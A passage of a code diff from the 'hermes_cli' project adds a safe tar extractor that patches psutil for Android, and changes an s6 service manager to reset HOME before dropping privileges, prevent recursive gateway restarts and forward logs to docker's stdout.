             try:
                 retry_cred = adapter.get_retry_credential(
                     failed_credential=cred,

hermes_cli/psutil_android.py

@@ -0,0 +1,108 @@
+"""Helpers for the temporary psutil-on-Android compatibility installer."""
+
+from __future__ import annotations
+
+import shutil
+import tarfile
+from pathlib import Path, PurePosixPath
+
+# Pin a version we know patches cleanly. Update when a newer psutil
+# changes the marker line shape and we need to follow upstream.
+PSUTIL_URL = (
+    "https://files.pythonhosted.org/packages/aa/c6/"
+    "d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/"
+    "psutil-7.2.2.tar.gz"
+)
+
+MARKER = 'LINUX = sys.platform.startswith("linux")'
+REPLACEMENT = 'LINUX = sys.platform.startswith(("linux", "android"))'
+
+
+class PsutilAndroidInstallError(RuntimeError):
+    """Raised when the pinned psutil sdist is missing or unsafe."""
+
+
+def _normalize_member_parts(member_name: str) -> tuple[str, ...]:
+    path = PurePosixPath(member_name)
+    parts = tuple(part for part in path.parts if part not in ("", "."))
+    if path.is_absolute() or ".." in parts or not parts:
+        raise PsutilAndroidInstallError(
+            f"Unsafe archive member path: {member_name!r}"
+        )
+    return parts
+
+
+def _safe_extract_tar_gz(archive: Path, destination: Path) -> None:
+    """Extract a tar.gz without allowing traversal or link members."""
+    with tarfile.open(archive, "r:gz") as tf:
+        for member in tf.getmembers():
+            parts = _normalize_member_parts(member.name)
+            target = destination.joinpath(*parts)
+
+            if member.isdir():
+                target.mkdir(parents=True, exist_ok=True)
+                continue
+
+            if not member.isfile():
+                raise PsutilAndroidInstallError(
+                    f"Unsupported archive member type: {member.name}"
+                )
+
+            target.parent.mkdir(parents=True, exist_ok=True)
+            extracted = tf.extractfile(member)
+            if extracted is None:
+                raise PsutilAndroidInstallError(
+                    f"Cannot read archive member: {member.name}"
+                )
+
+            with extracted, open(target, "wb") as dst:
+                shutil.copyfileobj(extracted, dst)
+
+            try:
+                target.chmod(member.mode & 0o777)
+            except OSError:
+                pass
+
+
+def prepare_patched_psutil_sdist(archive: Path, destination: Path) -> Path:
+    """Safely extract the pinned psutil sdist and patch it for Android."""
+    _safe_extract_tar_gz(archive, destination)
+
+    src_roots = sorted(
+        (
+            path for path in destination.iterdir()
+            if path.is_dir() and path.name.startswith("psutil-")
+        ),
+        key=lambda path: path.name,
+    )
+    if not src_roots:
+        raise PsutilAndroidInstallError(
+            "psutil sdist did not contain a psutil-* directory"
+        )
+
+    src_root = src_roots[0]
+    common_py = src_root / "psutil" / "_common.py"
+    if not common_py.is_file():
+        raise PsutilAndroidInstallError(
+            f"psutil sdist did not contain {common_py.relative_to(src_root)!s}"
+        )
+    try:
+        content = common_py.read_text(encoding="utf-8")
+    except OSError as exc:
+        raise PsutilAndroidInstallError(
+            f"Failed to read {common_py.relative_to(src_root)!s}"
+        ) from exc
+    if MARKER not in content:
+        raise PsutilAndroidInstallError(
+            "psutil Android compatibility patch marker not found"
+        )
+    try:
+        common_py.write_text(
+            content.replace(MARKER, REPLACEMENT),
+            encoding="utf-8",
+        )
+    except OSError as exc:
+        raise PsutilAndroidInstallError(
+            f"Failed to write {common_py.relative_to(src_root)!s}"
+        ) from exc
+    return src_root

hermes_cli/service_manager.py

@@ -566,8 +566,11 @@ class S6ServiceManager:
           1. Sources HERMES_HOME (and any extra env) via with-contenv —
              so e.g. ``-e HERMES_HOME=/data/hermes`` is honored at run
              time, not Python-substituted at registration time (OQ8-C).
-          2. Activates the bundled venv.
-          3. Drops to the hermes user and exec's
+          2. Resets ``HOME`` to ``/opt/data`` before the privilege drop
+             so with-contenv's root HOME does not leak into the
+             unprivileged gateway process.
+          3. Activates the bundled venv.
+          4. Drops to the hermes user and exec's
              ``hermes -p <profile> gateway run`` (or just ``hermes
              gateway run`` for the default profile — see below).
 
@@ -597,11 +600,20 @@ class S6ServiceManager:
             "#!/command/with-contenv sh",
             "# shellcheck shell=sh",
             "set -e",
+            "export HOME=/opt/data",
             "cd /opt/data",
             ". /opt/hermes/.venv/bin/activate",
         ]
         for k, v in sorted(extra_env.items()):
             lines.append(f"export {k}={shlex.quote(v)}")
+        # Sentinel for the supervised-child path. Prevents recursive
+        # redirect when the supervised gateway re-enters
+        # `_gateway_command_inner` with subcmd == "run" — without it the
+        # supervisor would dispatch `gateway start` which would re-exec
+        # `gateway run --replace` which would re-dispatch `gateway
+        # start`, etc. See `_gateway_command_inner` for the matching
+        # guard.
+        lines.append("export HERMES_S6_SUPERVISED_CHILD=1")
         if profile == "default":
             lines.append("exec s6-setuidgid hermes hermes gateway run")
         else:
@@ -620,6 +632,38 @@ class S6ServiceManager:
         — so a container started with ``-e HERMES_HOME=/data/hermes``
         gets its logs under /data/hermes/logs/..., not the build-time
         default.
+
+        Output routing — the script is two action directives, applied
+        per line, in order:
+
+          1. ``1`` (forward to stdout) — propagates the line up the
+             s6-supervise pipeline to /init's stdout, which is the
+             container's stdout, which is ``docker logs``. Without
+             this, supervised stdout would be terminated inside
+             s6-log and never reach the container's log stream;
+             users would have to ``docker exec`` and ``tail`` the
+             file just to see startup banners. (Python's ``logging``
+             module defaults to stderr, which s6-supervise leaves
+             unfiltered — so warnings/errors already reach docker
+             logs. This change is specifically about the rich-console
+             banner output and other plain stdout writes.)
+          2. ``T <log_dir>`` — also write a timestamped copy to the
+             rotated log directory (``current`` + archived ``@*.s``
+             files). This is what ``hermes logs`` reads and what
+             persists across container restarts via the volume mount.
+
+        ``T`` is non-sticky: it only prefixes lines for the next
+        action directive. We deliberately put ``T`` between ``1``
+        and the log dir (not before ``1``) so:
+
+          * ``docker logs`` shows raw lines — Python's logging
+            formatter has its own timestamps, and ``docker logs
+            --timestamps`` adds a third layer when desired. No
+            double-stamping in the most common reading path.
+          * The persisted file gets s6-log's own ISO 8601 timestamp
+            so even output that lacked a Python-logger timestamp
+            (rich banners, third-party libs' raw prints) is
+            correlatable in ``current``.
         """
         import shlex
         prof = shlex.quote(profile)
@@ -630,7 +674,7 @@ class S6ServiceManager:
             f'log_dir="$HERMES_HOME/logs/gateways/{prof}"\n'
             f'mkdir -p "$log_dir"\n'
             f'chown -R hermes:hermes "$log_dir" 2>/dev/null || true\n'
-            f'exec s6-setuidgid hermes s6-log n10 s1000000 T "$log_dir"\n'
+            f'exec s6-setuidgid hermes s6-log 1 n10 s1000000 T "$log_dir"\n'
         )
 
     # -- lifecycle ---------------------------------------------------------